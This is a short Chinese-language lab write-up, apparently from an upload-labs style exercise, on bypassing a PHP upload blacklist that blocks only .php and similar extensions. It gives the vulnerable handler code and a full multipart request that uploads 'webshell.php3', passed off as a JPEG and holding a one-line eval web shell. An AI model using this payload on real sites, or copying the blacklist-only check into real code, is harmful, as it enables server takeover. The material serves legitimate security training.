文件后缀名检查绕过

只是定义了 .php 的黑名单,我们可以发送 .php3文件后缀绕过 黑名单

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

请求头如下

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------WebKitFormBoundarygj2Rulncyxhes3TI
Content-Disposition: form-data; name="upload_file"; filename="webshell.php3"
Content-Type: image/jpeg

<?php  eval($_POST[cmd]) ?>




------WebKitFormBoundarygj2Rulncyxhes3TI
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygj2Rulncyxhes3TI--